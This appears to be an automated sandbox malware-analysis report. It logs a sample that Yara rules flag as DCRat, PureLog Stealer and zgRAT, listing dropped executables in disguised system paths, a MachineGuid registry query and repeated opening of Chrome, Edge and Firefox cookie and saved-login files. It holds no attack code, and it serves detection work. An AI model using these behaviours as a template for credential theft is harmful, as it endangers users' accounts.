Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2943874240.0000000002EFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6G8OR42xrB.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: roKDGeHYZcczQzeuqXqYGYyw.exe PID: 7636, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6G8OR42xrB.exe, type: SAMPLE
Source: Yara match	File source: 0.0.6G8OR42xrB.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1694048075.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\dllhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 6G8OR42xrB.exe, type: SAMPLE
Source: Yara match	File source: 0.0.6G8OR42xrB.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\dllhost.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
